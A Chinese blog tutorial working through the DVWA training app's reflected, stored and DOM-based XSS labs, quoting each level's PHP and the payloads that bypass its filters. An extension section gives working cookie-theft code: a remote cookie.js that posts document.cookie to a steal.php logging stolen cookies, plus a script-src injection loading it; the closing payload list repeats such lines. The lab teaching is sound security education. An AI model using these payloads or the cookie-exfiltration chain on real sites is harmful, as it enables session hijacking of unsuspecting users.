DVWA-从入门到放弃之XSS(Reflected,Stored,DOM)

4

作为兴趣,一直想把自己所知道基础入门的知识总结一下。在总结的过程中也是一个不断学习地过程,慢慢学吧

图片描述

XSS-跨站脚本攻击,在某种意义上也是一种注入型攻击
XSS不仅仅限于JavaScript,还包括flash等其它脚本语言
根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS(Stored)与反射型的XSS(Reflected)
DOM型的XSS由于其特殊性,是一种基于DOM树的XSS,被分为第三种

XSS(Reflected)

Low

代码分析

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 
#array_key_exists()函数检查数组里是否有指定的键名或索引。有返回true,没有返回false

可以看到,代码直接引用了name参数,并没有任何的过滤与检查,存在明显的XSS漏洞

操作步骤

输入<script>alert(1)</script>

clipboard.png
可以看到成功出现弹窗

F12进入开发者模式可以看到浏览器成功将我们的输入作为HTML元素解释运行

clipboard.png


Medium

代码分析

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

Medium级别的代码相对于Low级别的代码使用str_replace函数将输入中的<script>删除

操作步骤

只删除<script>标签的情况是很容易绕过的:
1.使用双写绕过,输入<scr<script>ipt>alert(document.cookie)</script>
2.使用大小写绕过,输入<sCript>alert(document.cookie)</script>
3.输入其他标签,如<IMG src=1 onerror=alert(document.cookie)>
可以看到结果:

clipboard.png

获取到了当前用户的cookie,这结合csrf(跨站请求伪造)攻击危害是很大的


High

代码分析

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?> 

可以看到High级别的代码使用了preg_replace函数执行一个正则表达式的搜索和替换
其中/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i是正则表达式(.*)表示贪婪匹配,/i表示不区分大小写
所以在High级别的代码中,所有关于<script>标签均被过滤删除了

操作步骤

虽然<script>标签不管用了,但是可以使用其他标签绕过
输入<IMG src=1 onerror=alert(document.cookie)>同样得到Medium级别的结果


Impossible

代码分析

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

可以看到Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、"、'、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。还加入了Anti-CSRF token,防止结合csrf攻击

分析总结

虽然利用了htmlspecialchars()函数将用户的输入进行过滤,但是在特定情况下需要用户输入一些被过滤,会丢失原始数据。且htmlspecialchars本质也是黑名单过滤,没有绝对安全

XSS(Stored)

Low

代码分析

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

函数介绍:
isset()函数在php中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false
trim()函数作用为移除字符串两侧空白字符或其他预定义字符
stripslashes()函数用于删除字符串中的反斜杠
mysqli_real_escape_string()函数会对字符串中的特殊符号(\x00,\n,\r,\,',",\x1a)进行转义
在代码中对message,name输入框内容没有进行XSS方面的过滤和检查。且通过query语句插入到数据库中。所以存在存储型XSS漏洞

操作步骤

由于name和message输入框均存在xss。但name输入框有字符限制,这里可以使用burpsuite抓包修改name输入框内容:<script>alert(document.cookie)</script>

clipboard.png

点击Forward得到结果

clipboard.png

F12打开开发者模式可以看到输入内容被前端html代码解析运行:

clipboard.png

由于提交的结果存储在数据库中,所以每次刷新页面,输入的恶意代码就会被执行一次

Medium

代码分析

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

strip_tags()函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用<b>标签。
addslashes()函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
htmlspecialchars()函数把预定义的字符&、"、'、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素
一顿操作对message输入内容进行检测过滤,因此无法再通过message参数注入XSS代码
但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。

操作步骤

抓包修改name输入内容:(和之前反射型XSS-Medium级别payload一致)
1.使用双写绕过,输入<scr<script>ipt>alert(document.cookie)</script>
2.使用大小写绕过,输入<sCript>alert(document.cookie)</script>
3.输入其他标签,如<IMG src=1 onerror=alert(document.cookie)>

High

代码分析

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?> 

和反射型XSS-High级别代码功能一致。对name输入内容利用正则匹配删除所有关于<script>标签

操作步骤

使用其他标签:<IMG src=1 onerror=alert(document.cookie)>

Impossible

代码分析

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

在Impossible代码中同样对name内容使用htmlspecialchars()函数,还加入了Anti-CSRF token,防止结合csrf攻击

但是如果htmlspecialchars函数使用不当,攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS

自我总结

我们可以看到,在Reflected和Stored类型的XSS中每个级别的差异只是过滤黑名单的完善程度不一样。由此,在文末总结一个按照级别分类的XSS输入的payloads

扩展-利用XSS获取用户cookie构造csrf攻击

clipboard.pngclipboard.pngclipboard.png

其实,在上述例子的XSS危害只是弹窗,并不能实际获取到cookie,下面演示怎样远程获取用户cookie:

原理:

由于script标签可以加载远程服务器的javascript代码并且执行,所以在远程服务器编写一个cookie.js

document.write("<form action='http://192.168.30.135/dvwaxss/steal.php' name='exploit' method='post' style='display:none'>");
document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");
document.write("</form>");
document.exploit.submit();

这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php:

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into low(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into low(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from low";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."</br>";
    }
    mysql_close();
}
?>

steal.php会将我们获取到的cookie存到数据库中,搞事之前先创建数据库和相应的表(字段):

create database dvwacookie;#创建数据库
use dvwacookie;#进入dvwacookie数据库
create table low(id int not null auto_increment primary key,cookie varchar(100) not null);
#创建一个low表,字段id-int类型,主键,值自动增长、字段cookie

接下来在XSS漏洞位置插入:

<script src=http://192.168.50.150/dvwaxss/cookie.js></script>

就可以获取用户cookie。参考链接在此,与本作者无关

XSS(DOM)

对于DOM型的XSS是一种基于DOM树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的
最大的特点就是不与后台服务器交互,只是通过浏览器的DOM树解析产生

介绍下DOM:

HTML DOM 是关于如何获取、修改、添加或删除 HTML 元素的标准
简单来说DOM主要研究的是节点,所有节点可通过javascript访问(增,删,改,查)

可能触发DOM型XSS属性:本实验中主要用到的就是document.write属性

document.write属性
document.referer属性
innerHTML属性
windows.name属性
location属性

Low

代码分析

<?php

# No protections, anything goes

?> 

可以,很直接

操作步骤

1.正常输入English和French,F12打开开发者模式可以看见

clipboard.png

clipboard.png

现在来分析一下<script>标签中的代码:

if (document.location.href.indexOf("default=") >= 0)
{
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
                }
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

#'document.location.href.indexOf()函数截取url中指定参数后面的内容
#document.location.href.substring()函数截取字符串
#decodeURI()函数将编码过的URI进行解码
#docunment.write()可以将HTML表达式或JavaScript代码
从<script>标签的代码可以看出来其作用简单来说就是把url中的内容提取出来写入到html元素中

2.那我们直接构造url,在"default="后加<script>alert(document.cookie)</script>

clipboard.png

F12审查元素:

clipboard.png

可以看到和之前正常输入相比较,第一个option标签,就是<script>标签中document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");改变的内容,其中:decodeURI(lang) = <script>alert(document.cookie)</script>被解释运行

Medium

代码分析

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 

Medium级别的代码先是检查判断default参数是否为空,不为空则赋值。然后使用stripos()函数判断default值中是否含有<script。如果有,则利用header()函数重新发起http请求,将default值改为"English"

操作步骤

1.输入<script>alert(1)</script>,发现default值改为"English"
2.使用大小写,双写绕过:<sCRipt>alert(1)</script>、<scr<script>ipt>alert(1)</script>发现也不行,初步判断应该是把<script>标签过滤掉了。这里我刚开始学习的时候尝试使用burpsuite抓包修改url,发现并没有什么L用(get请求,返回302重定向,重新请求?default=English的页面。跟我们要做的DOM搭不上关系),哈哈哈

clipboard.png

发现和正常选择"English"一样
3.使用其他标签试试:<img src=1 onerror=alert(1)>

clipboard.png

发现我们的语句插入到value的值中,并没有插入到option标签的值中。所以<img>标签并没有起到作用。

  • 这里分析下为什么<img>标签没有插入到option标签中,这是仔细分析下JavaScript写入这句的代码:document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>"),和HTML代码对比发现decodeURI(lang)没有内容,为啥呢,我也不清楚。。。(估摸着document.write涉及到标签闭合状态啥的,应该不是decodeURI(lang)没有值,而是在document.write使被某种规则过滤掉了)

4.试着闭合前面的标签,先闭合<option>标签:></option><img src=1 onerror=alert(1)>

clipboard.png

clipboard.png

查看源代码可以看到只有>被插入到<option>标签的值中,因为</option>只闭合了<option>标签,所以<img>标签并没有插入。
5.于是继续构造闭合<option>的父节点标签(<select>标签)输入:></option></select><img src=1 onerror=alert(document.cookie)>

clipboard.png

可以看到结果闭合<select>标签后,decodeURI(lang)能够成功写入html代码中(为什么呢)。<img>标签被释放出来,被执行。。。

当然,也可以选择直接闭合<select>标签,输入:</select><img src=1 onerror=alert(document.cookie)>

clipboard.png

得到一样的结果

High

代码分析

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

在注释中已经解释了,采用白名单方式判断default的值。如果不是French,English,German,Spanish四者之一。则利用header()函数将default的值改为English再发送http请求。

  • Medium级别中好像对前端输入也做了过滤,High级别中好像没有

操作步骤

原理:URL中#号之后的内容,不会被提交到服务器,可以直接与浏览器进行交互
1.在正常url后输入:#<script>alert(document.cookie)</script>回车。

clipboard.png

点击确定后(在HTML中alert属性点击确定之后才能执行之后的代码),才会返回Html代码:

clipboard.png

2.这里也可以使用<img>标签,但是要闭合<select>标签:#</select><img src=1 onerror=alert(document.cookie)>

clipboard.png

如果直接使用<img>标签输入:#<img src=1 onerror=alert(document.cookie)>

clipboard.png

发现<option>标签的值只有"Spanish#",应该是document.write的原因。所以还是要闭合<select>标签。

Impossible

代码分析

<?php

# Don't need to do anything, protction handled on the client side

?> 
#不需要做任何事,在客户端处理

打开F12看到客户端JavaScript代码变了:

if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + (lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

可以看到前端代码中使用了(lang)代替了decodeURI(lang),(lang)是经过url编码后的数据,所以我们输入的任何内容都会经过url编码后赋值给lang(紧接着赋值给标签<option>),所以就不存在XSS漏洞了。

当我们输入<script>alert(1)</script>试试

clipboard.png

可以看到网页插入的内容都是我们的输入内容经过url编码后的数据

自我总结
XSS payloads:
<script>alert(1)<script>
<scr<script>ipt>alert(1)</script>
<sCRipt>alert(1)</script>
'><script>alert(document.cookie)</script>
='><script>alert(document.cookie)</script>    
<img src=1 onerror=alert(1)>
%3cscript%3ealert(%22xss%22)%3c/script%3e
<A href=http://www.baidu.com/>link</A>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT src="127.0.0.1/cookie.js"></SCRIPT>
更新中。。。

你可能感兴趣的

载入中...